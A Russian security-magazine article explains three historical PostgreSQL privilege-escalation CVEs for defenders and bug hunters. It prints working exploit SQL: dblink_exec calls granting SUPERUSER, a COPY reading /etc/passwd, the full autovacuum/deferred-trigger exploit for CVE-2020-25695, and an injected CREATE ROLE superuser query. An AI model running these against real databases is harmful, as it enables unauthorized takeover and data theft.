Раз в квар­тал у PostgreSQL выходит минор­ный релиз с парой уяз­вимос­тей. Час­то они поз­воля­ют прев­ратить неп­ривиле­гиро­ван­ного поль­зовате­ля в мес­тно­го царя superuser’а. Ну, в «Пост­гре­се» все прос­то — накаты­ваем пат­чи в момент выхода обновле­ния и спим спо­кой­но. Одна­ко боль­шинс­тво фор­ков оста­ются уяз­вимыми! Я про­шел­ся по исто­ричес­ким CVE «Пост­гре­са» в поис­ках инте­рес­ных лазе­ек и нашел там очень мно­го инте­рес­ного.

warning

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

Не­дав­но я учас­тво­вал в соз­дании управля­емо­го Greenplum для Yandex.Cloud. Greenplum — это ана­лити­чес­кая база на осно­ве ста­рого доб­рого PostgreSQL. Про доб­рый — это такая прис­казка. А вот ста­рый Postgres там во весь рост. Greenplum 6 сде­лан на осно­ве PostgreSQL 9.4, для которо­го обновле­ния безопас­ности не выпус­кают­ся с доковид­ных вре­мен.

Что зна­чит тер­мин «управля­емый» при­мени­тель­но к Greenplum? Наши обвязки — Control Plane — авто­мати­чес­ки соеди­няют­ся с базой, дела­ют бэкапы, монито­рят, не сло­малось ли чего, уста­нав­лива­ют обновле­ния и все такое про­чее. Исто­ричес­ки во всех базах дан­ных есть супер­поль­зователь. Это — уро­вень, на котором поль­зователь может все, что дос­тупно про­цес­су базы. В час­тнос­ти, он может ата­ковать Control Plane. Поэто­му в управля­емых базах при­виле­гии супер­поль­зовате­ля обыч­но недос­тупны, а если дос­тупны — это пред­став­ляет серь­езную опас­ность для дан­ных. Какой‑нибудь буй­ный сосед может ата­ковать Control Plane, а потом и всю нашу базу. Поэто­му каж­дую уяз­вимость «Пост­гре­са» я теперь рас­смат­риваю как повод про­пат­чить Greenplum.

Во­обще, у «Пост­гре­са» име­ется тон­на фор­ков. Потен­циаль­но все они уяз­вимы ко все­му, что будет перечис­лено в этой статье. В резуль­тате на таких базах начина­ют май­нить или слу­чают­ся исто­рии как с фот­ками Скар­лет. Кро­ме того, мно­гие обла­ка не зас­тавля­ют поль­зовате­лей апгрей­дить­ся пос­ле end of life мажор­ной вер­сии. У некото­рых, как, нап­ример, у Redshift, есть прог­раммы bug bounty. Если у тебя в запасе уйма сво­бод­ного вре­мени — это хороший шанс кон­верти­ровать зна­ния в день­ги.

Мо­жет показать­ся, что эпич­ные дыры в безопас­ности — вер­ный приз­нак «решета», которым луч­ше не поль­зовать­ся. Это не так. Откры­тая пуб­ликация всех исто­ричес­ких уяз­вимос­тей — то, что не дает заметать под ковер zero day. Понят­ный про­цесс под­дер­жки и обновле­ния мажор­ных вер­сий пилит комитет PostgreSQL security. Он не зависит от одной ком­мерчес­кой ком­пании и проз­рачно фор­миру­ется из мно­жес­тва чле­нов сооб­щес­тва, извес­тных сво­им дотош­ным ревью кода. Хочешь помес­тить зак­ладку в код «Пост­гре­са», как это слу­чилось с ядром Linux? Для одной попыт­ки пот­ребу­ются мно­гие годы работы, если не десяти­летия.

Что ж, перей­дем, наконец, к сути. Чем мож­но себя раз­влечь, встре­тив недопат­ченный «Пост­грес»?

 

CVE-2018-10915. Хитрые строки подключения

Уяз­вимос­ти CVE-2018-10915 под­верже­ны вер­сии 10.4, 9.6.9 и более древ­ние. Сама уяз­вимость называ­ется Certain host connection parameters defeat client-side security defenses, и может показать­ся, буд­то речь идет об опас­ности на сто­роне кли­ента, а не сер­вера. Но CVSS score 8,5 намека­ет, что все не так прос­то.

Ког­да сер­вер откры­вает соеди­нения по прось­бе кли­ента — это всег­да потен­циаль­ная угро­за. Если твой веб‑сер­вер про­ходит по URL’у, получен­ному от кли­ента, — кли­ент обя­затель­но под­сунет URL для заказа пиц­цы в ваш дата‑центр.

История из жизни сообщества

Один раз мы приш­ли в сооб­щес­тво с пред­ложени­ем раз­решить неп­ривиле­гиро­ван­ным поль­зовате­лям соз­давать под­писки логичес­кой реп­ликации. В сооб­щес­тве нам намек­нули, что соз­дание исхо­дящих соеди­нений — уже отличный спо­соб остать­ся с голой базой про­тив ежа. И дей­стви­тель­но, нем­ного подумав, мы наш­ли спо­соб взло­мать собс­твен­ный набор пат­чей.

В PostgreSQL для обра­щения к дан­ным на сосед­них сер­верах есть спе­циаль­ные рас­ширения — dblink и postgres_fdw. Они поз­воля­ют исполь­зовать таб­лицы на дру­гих сер­верах (необя­затель­но PostgreSQL) в SQL-зап­росах.

Принцип работы dblink и postgres_fdw
Прин­цип работы dblink и postgres_fdw

Postgres_fdw — это чуть более удоб­ный спо­соб сде­лать ров­но то же самое. Поль­зователь не переда­ет зап­росы тек­стом, а локаль­но видит уда­лен­ную таб­лицу как обыч­ную.

Ес­ли в базе дан­ных уже соз­дано одно из этих двух рас­ширений, поль­зователь может схо­дить с адре­са сер­вера PostgreSQL куда‑нибудь за дан­ными. Уже сам по себе этот факт ког­да‑то соз­давал при­коль­ную уяз­вимость CVE-2007-6601. При­чем не нуж­но даже лазить куда‑то далеко — мож­но прос­то прий­ти от сер­вера к самому себе и поп­росить локаль­ное соеди­нение.

Локальное соединение с dblink
Ло­каль­ное соеди­нение с dblink

Та­кой Уро­борос воз­можен потому, что в host based authentication (pg_hba.conf) час­то мож­но видеть какие‑нибудь при­коль­ные строч­ки вро­де тех, что при­веде­ны ниже. Дос­ловно они озна­чают «локаль­ным соеди­нени­ям — верить».

# "local" is for Unix domain socket connections only
local all all trust
# IPv4 local connections:
host all all 127.0.0.1/32 trust
# IPv6 local connections:
host all all ::1/128 trust

Они туда при­езжа­ют из докер‑обра­за или при ини­циали­зации с initdb. Что же делать с такой воз­можностью?

postgres=# SELECT dblink_exec('host=localhost dbname=postgres','ALTER USER x4m WITH SUPERUSER;');
dblink_exec
-------------
ALTER ROLE
(1 row)
postgres=# \c postgres
You are now connected to database "postgres" as user "x4m".
postgres=# CREATE TABLE pwn(t TEXT);
CREATE TABLE
postgres=# COPY pwn FROM '/etc/passwd';
COPY 27
postgres=# SELECT * FROM pwn;

info

Сра­зу отме­чу два момен­та.

  1. Ко­неч­но, это стриг­герит монито­рин­ги — для защиты от таких взло­мов необ­ходимо пос­тоян­но про­верять whitelist суперъ­юзе­ров в сис­теме. Это сов­сем нес­ложно тех­ничес­ки и в хороших сис­темах дав­но сде­лано. Но неп­рият­ности могут начать­ся еще до того, как на хост при­бегут безопас­ники с щип­цами и паяль­ником.
  2. Хо­рошую инс­трук­цию по осно­вам хакин­га PostgreSQL мож­но най­ти на pentest-wiki. Некото­рые при­меры в этой статье взя­ты отту­да.

Ра­зуме­ется, такую уяз­вимость запат­чили еще в далеком 2007 году (Дуров, вер­ни сте­ну!). При­чем запат­чили не­хит­рым спо­собом, теперь dblink и postgres_fdw не сог­ласны идти куда‑либо без пароля!

static void
dblink_security_check(PGconn *conn, remoteConn *rconn)
{
if (!superuser())
{
if (!PQconnectionUsedPassword(conn))
{
PQfinish(conn);
if (rconn)
pfree(rconn);
ereport(ERROR,
(errcode(ERRCODE_S_R_E_PROHIBITED_SQL_STATEMENT_ATTEMPTED),
errmsg("password is required"),
errdetail("Non-superuser cannot connect if the server does not request a password."),
errhint("Target server's authentication method must be changed.")));
}
}
}

Вот и слав­но, теперь все безопас­но, мы не исполь­зуем бес­пароль­ные соеди­нения от адре­са нашего сер­вера. Защити­ли себя от самих себя. Но прог­ресс (как и «Пост­грес») не сто­ит на мес­те, новые фичи при­несут новые баги!

В 2010-х сооб­щес­тво Postgres активно пилило фичи для захода в рынок Enterprise-сис­тем. Одна из таких фич — пос­тро­ение высоко­дос­тупной (highly available) базы дан­ных. Дело в том, что любое железо может рано или поз­дно отка­зать: дис­ки иног­да сып­лются как песок, память стра­дает от кос­мичес­ких лучей, проц перег­рева­ется, сетевой свич получа­ет баж­ную про­шив­ку, кабель до дата‑цен­тра перег­рыза­ет злоб­ный хомяк и так далее. Стан­дар­тный под­ход для решения таких проб­лем — дуб­лирова­ние сис­тем. У ави­алай­нера как минимум два дви­гате­ля, у парашю­тис­та два парашю­та, у Вуп­сеня — Пуп­сень, у Пупы — Лупа.

Так и PostgreSQL уме­ет реп­лициро­вать пол­ную бинар­ную копию дан­ных на дру­гое железо, где веро­ятность одновре­мен­ного отка­за миними­зиро­вана. При этом кли­ент име­ет два или боль­ше hostname’ов и не зна­ет, кто есть кто, до откры­тия соеди­нения.

Реплицирование БД в PostgreSQL
Реп­лициро­вание БД в PostgreSQL

Кли­ент может ука­зать в стро­ке соеди­нения, нужен ли ему Primary для записи, или подой­дет любой живой Standby, где мож­но выпол­нить толь­ко чита­ющие зап­росы. Стро­ка соеди­нения при этом выг­лядит так.

postgresql://host1:port2,host2:port2/?target_session_attrs=read-write

Это фича PostgreSQL 10, о ней мож­но под­робнее почитать тут. Но и в PostgreSQL 9.6 мож­но сде­лать то же самое, если один DNS name вер­нет нес­коль­ко IP-адре­сов.

Суть уяз­вимос­ти CVE-2018-10915 зак­люча­ется в том, что, один раз исполь­зовав пароль для аутен­тифика­ции, dblink и postgres_fdw сог­ласны зай­ти к сле­дующим хос­там без пароля. Нам дос­таточ­но под­нять свою реп­лику, дос­тупную сер­веру по сети, аутен­тифици­ровать­ся в ней, а затем вер­нуть­ся в localhost.

postgres=# SELECT dblink_exec('host=my.standby.xyz,localhost dbname=postgres password=imahacker','ALTER USER x4m WITH SUPERUSER;');
dblink_exec
-------------
ALTER ROLE
(1 row)

Здесь пароль imahacker под­ходит к реп­лике my.standby.xyz, а localhost пароль уже не спра­шива­ет.

Фикс и под­робное опи­сание от Тома Лэй­на мож­но почитать в ком­мите d1c6a14. CVE-2018-10915 была обна­руже­на Андре­ем Кра­сич­ковым aka buglloc. Если тебе инте­рес­но боль­ше деталей (и нем­ного филосо­фии), то сто­ит почитать его хак‑сто­ри. Там под­робнее опи­сан баж­ный код и экс­плу­ата­ция, в том чис­ле в вер­сии 9.6 без target session attrs.

Вер­сия 9.6 при­меча­тель­на, нап­ример, тем, что на дан­ный момент это дефол­тная вер­сия в Astra Linux. А еще у нее end of life в начале нояб­ря 2021-го — наде­юсь, в «Астре» все про­пат­чат, потому что новые CVE в 9.6 фик­сить­ся не будут.

 

CVE-2020-25695. Кручу, верчу, запутать хочу

Уяз­вимос­ти CVE-2020-25695 под­верже­ны 13.0, 12.4, 11.10, 10.15 и дру­гие мажор­ные вер­сии, нын­че уже дос­тигшие EOL. Overall score 8,8. В уяз­вимос­ти так­же экс­плу­ати­рует­ся ком­бинация из мно­жес­тва нет­риви­аль­ных фич. Тем не менее экс­плу­ата­ция под­ходит для script kiddies — прос­то зафигачь SQL-зап­рос, и готово, никакой воз­ни с под­став­ными реп­ликами, написа­нием кода или чего‑то такого. Если ты из таких — в кон­це раз­дела по ссыл­ке можешь ска­чать full sploit из статьи иссле­дова­теля, открыв­шего уяз­вимость. А я тут пока рас­ска­жу, что за фичи при­вели к уяз­вимос­ти.

Ахил­лесова пята PostgreSQL — про­цесс ваку­уми­зации aka VACUUM. Он уда­ляет вер­сии дан­ных, которые нет необ­ходимос­ти видеть новым тран­закци­ям. Иног­да его запус­кает сисад­мин или cron от име­ни сисад­мина. Иног­да он запус­кает­ся сам — ког­да уда­лилось или обно­вилось дос­таточ­но мно­го строк. В этом слу­чае он называ­ется autovacuum. И запус­кает­ся он от име­ни супер­поль­зовате­ля.

Вот бы добавить какого‑нибудь кода к ваку­уму, что­бы он выпол­нился от име­ни супер­поль­зовате­ля, да? Об этом раз­работ­чики Postgres, конеч­но, подума­ли. На вре­мя ваку­уми­зации кон­крет­ной таб­лицы кон­текст выпол­нения перек­люча­ется на вла­дель­ца таб­лицы. Если мы запили­ли свою таб­лицу — ну, наши фун­кции при ее ваку­уми­зации выпол­нятся с нашими пра­вами. Работа­ет это так.

/* Switch to the table owner's userid... */
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
// Вакуумизируем на все деньги
/* Restore userid and security context */
SetUserIdAndSecContext(save_userid, save_sec_context);
CommitTransactionCommand();

По­луча­ется, что нам нуж­но во вре­мя ваку­уми­зации отло­жить взлом до момен­та окон­чания тран­закции. Потому что до ком­мита мы выпол­няем­ся с недос­таточ­но кру­тым кон­тек­стом. Решение этой задачи доволь­но прос­тое: мож­но соз­дать триг­гер DEFERRED, который выпол­нится при ком­мите. Вот кусочек кода из advisory отправ­ленно­го при репор­те бага.

/* create a CONSTRAINT TRIGGER, which is deferred
deferred causes it to trigger on commit, by which time the user has been switched back to the
invoking user, rather than the owner
*/
CREATE CONSTRAINT TRIGGER def
AFTER INSERT ON t0
INITIALLY DEFERRED
FOR EACH ROW
EXECUTE PROCEDURE strig();

Как нам сде­лать, что­бы этот триг­гер выз­вался во вре­мя ваку­ума? Для это­го нуж­но, что­бы ваку­ум встав­лял дан­ные, а он их уда­ляет... Прос­то надо сде­лать так, что­бы ваку­ум одной таб­лицы встав­лял дан­ные в дру­гую!

Ка­кие фун­кции вызыва­ются при ваку­уме? Фун­кции индексов по выраже­нию. Рас­смот­рим код экс­пло­ита пол­ностью.

CREATE TABLE t0 (s varchar);
CREATE TABLE t1 (s varchar);
CREATE TABLE exp (a int, b int);
CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer
LANGUAGE sql IMMUTABLE AS
'SELECT $1'; -- При создании индекса по выражению функция должна быть IMMUTABLE, то есть БЕСПОЛЕЗНА
CREATE INDEX indy ON exp (sfunc(a));
CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer
LANGUAGE sql SECURITY INVOKER AS
'INSERT INTO fooz.public.t0 VALUES (current_user); SELECT $1'; -- Заменим функцию мутабельной
CREATE OR REPLACE FUNCTION snfunc(integer) RETURNS integer
LANGUAGE sql SECURITY INVOKER AS
'ALTER USER foo SUPERUSER; SELECT $1'; -- Функция, вызываемая из DEFERRED триггера
CREATE OR REPLACE FUNCTION strig() RETURNS trigger
AS $e$ BEGIN
PERFORM fooz.public.snfunc(1000); RETURN NEW;
END $e$
LANGUAGE plpgsql; -- Функция триггера
CREATE CONSTRAINT TRIGGER def
AFTER INSERT ON t0
INITIALLY DEFERRED FOR EACH ROW
EXECUTE PROCEDURE strig();
ANALYZE exp;
INSERT INTO exp VALUES (1,1), (2,3),(4,5),(6,7),(8,9);
DELETE FROM exp;
INSERT INTO exp VALUES (1,1);
ALTER TABLE exp SET (autovacuum_vacuum_threshold = 1);
ALTER TABLE exp SET (autovacuum_analyze_threshold = 1);

Здесь ваку­ум exp вызыва­ет sfunc(), которая встав­ляет дан­ные в t0. Затем триг­гер на t0 вызыва­ет string() в кон­це тран­закции с кон­тек­стом супер­поль­зовате­ля, который, в свою оче­редь, вызыва­ет snfunc(). А он гран­тит супер­поль­зовате­ля ата­кующе­му. Для экс­плу­ата­ции этой уяз­вимос­ти нуж­на воз­можность соз­давать таб­лицы и индексы.

CVE-2020-25695 най­дена Эть­еном Стол­мансом aka staaldraad и под­робно опи­сана в его бло­ге. Денис Смир­нов так­же адап­тировал эту уяз­вимость для GreenplumDB.

 

CVE-2021-23214. TLS — это надежно, TLS — это безопасно

Уяз­вимос­ти CVE-2021-23214 под­верже­ны 14.0, 13.4, 12.8, 11.13, 10.18. Overall score 8,1. А еще уяз­вимы ока­зались все пулеры соеди­нений — PgBouncer, PgPool II и Odyssey.

TLDR: если исполь­зует­ся кли­ент­ская аутен­тифика­ция по TLS-сер­тифика­ту и есть MITM, мож­но в начало соеди­нения добавить выпол­нение сво­его зап­роса.

Пост­грес­ный про­токол обме­на дан­ными пос­тро­ен на со­обще­ниях. Каж­дое сооб­щение начина­ется с 4 байт, содер­жащих информа­цию о раз­мере сооб­щения. Потом идет один байт, опре­деля­ющий тип пакета. Оставше­еся мес­то может быть занято пакетос­пецифич­ными дан­ными.

Нор­маль­ный сер­вер пер­вым делом отпра­вит кли­енту startup-сооб­щение с пред­ложени­ем перей­ти на TLS-шиф­рование, получит сог­ласие кли­ента, передаст сокет биб­лиоте­ке OpenSSL, а от нее уже получит безопас­ный канал для обще­ния, где про­ведет аутен­тифика­цию.

В PostgreSQL аутен­тифици­ровать­ся мож­но по‑раз­ному. Нап­ример, по паролю откры­тым тек­стом. Но это стрем­но со всех сто­рон. Мож­но вос­поль­зовать­ся MD5-аутен­тифика­цией: сер­вер приш­лет соль, кли­ент перехе­ширу­ет пароль, себя и соль, а потом отпра­вит сер­веру. Но при этом, взло­мав базу и про­читав пред­став­ление pg_authid, мож­но получить дос­таточ­но дан­ных, что­бы зай­ти в базу любым дру­гим поль­зовате­лем с MD5-аутен­тифика­цией.

Мож­но вос­поль­зовать­ся схе­мой SCRAM-SHA-256, при этом взлом базы не поз­волит исполь­зовать получен­ные сек­реты. Даже зай­ти в ту же самую базу по сты­рен­ным дан­ным не получит­ся.

А мож­но вооб­ще «делеги­ровать ответс­твен­ность Фун­ту» — исполь­зовать аутен­тифика­цию по TLS-сер­тифика­там. При этом, ког­да уста­нов­лено TLS-соеди­нение, Common Name сер­тифика­та будет срав­нивать­ся с поль­зователь­ским. Если они сов­пали — зна­чит, у кли­ента есть сер­тификат, выписан­ный доверен­ным цен­тром. У такого под­хода мно­го плю­сов: нап­ример, ротация сек­ретов боль­ше не проб­лема DBA. Пусть кли­ент сам раз­бира­ется, где добыть валид­ный серт, если ста­рый про­тух.

Ес­ли вся база целиком укра­дена, в ней не добыть вооб­ще никаких аутен­тифика­цион­ных дан­ных. Про­вер­ка сер­тифика­та написа­на нас­тоящи­ми свар­щиками от крип­тогра­фии, оста­лось толь­ко взять их код. Но есть нюанс.

У PostgreSQL доволь­но мел­кие пакеты. Нап­ример, пакет ReadyForQuery — 6 байт. Для чте­ния из сокета необ­ходим сис­темный вызов — это дол­го. Поэто­му Postgres и все пулеры чита­ют дан­ные про запас. Кто‑то называ­ет это буфери­заци­ей, кто‑то — readahead. Из буфера readahead бай­ты идут уже на пар­синг пакетов. Буфер readahead напол­няет­ся нап­рямую из сетево­го сокета либо из потока TLS в шиф­рован­ном соеди­нении. А вот в момент сме­ны нешиф­рован­ного соеди­нения про­исхо­дит... а ничего не про­исхо­дит.

В OpenSSL переда­ется не буфер readahead, а само сетевое соеди­нение. Те бай­ты, что приш­ли нешиф­рован­ными, оста­ются лежать как бы счи­тан­ными. Как буд­то получен­ными из шиф­рован­ного соеди­нения. Этим может вос­поль­зовать­ся man in the middle, добавив вслед за startup-сооб­щени­ем сооб­щение SimpleQuery с прос­тым зап­росом "CREATE ROLE x4m WITH LOGIN SUPERUSER PASSWORD 'imahacker';". Ког­да аутен­тифика­ция в OpenSSL будет успешно завер­шена, сер­вер про­дол­жит счи­тывать сооб­щения из буфера readahead и выпол­нит SimpleQuery, как если бы он при­шел от поль­зовате­ля.

Принцип работы уязвимости CVE-2021-23214
Прин­цип работы уяз­вимос­ти CVE-2021-23214

У этой уяз­вимос­ти есть и сим­метрич­ная кли­ент­ская CVE-2021-23222: MITM может под­сунуть свой ответ на пер­вые зап­росы кли­ента вмес­то того, что говорит сер­вер на самом деле. Но экс­плу­ата­ция этой уяз­вимос­ти тре­бует нефиго­вого зна­ния кода кли­ент­ско­го при­ложе­ния. Нап­ример, как‑то так.

Принцип работы уязвимости CVE-2021-23222
Прин­цип работы уяз­вимос­ти CVE-2021-23222

В Postgres фикс кли­ент­ской и сер­верной уяз­вимос­тей пред­полага­ет не толь­ко сброс буфера пос­ле startup-пакета, но и запись в лог о попыт­ке нахими­чить с TLS. В акту­аль­ных вер­сиях попыт­ка экс­плу­ата­ции не прой­дет незаме­чен­ной и, веро­ятно, раз­будит монито­рин­ги безопас­ности. Мой фикс для этих уяз­вимос­тей в «Одис­сее» выг­лядит так. В «Одис­сее» они, кста­ти, извес­тны под дру­гими номера­ми: CVE-2021-43766 и CVE-2021-43767.

CVE-2021-23214 и подоб­ные уяз­вимос­ти в PG най­дены Джей­кобом Чем­пионом, пос­ле выхода фик­сов он написал до­воль­но инте­рес­ный спи­сок пожела­ний к про­екту для повыше­ния безопас­ности в будущем.

 

Заключение...

...тюрем­ное может гро­зить при исполь­зовании этой информа­ции необ­думан­но. Пом­ни, что все эти раз­вле­чения пред­став­лены тут, прос­то что­бы подумать о веч­ном, битах и бай­тах, все такое. Ставь апдей­ты сво­евре­мен­но. Исполь­зуй экс­пло­иты, толь­ко что­бы учить­ся, иссле­довать и этич­но репор­тить о проб­лемах безопас­ности. А еще не забывай вов­ремя делать резер­вные копии, нап­ример с помощью инс­тру­мен­та для резер­вно­го копиро­вания баз дан­ных, раз­работ­кой которо­го я занима­юсь.

Подписаться
Уведомить о
0 комментариев
Межтекстовые Отзывы
Посмотреть все комментарии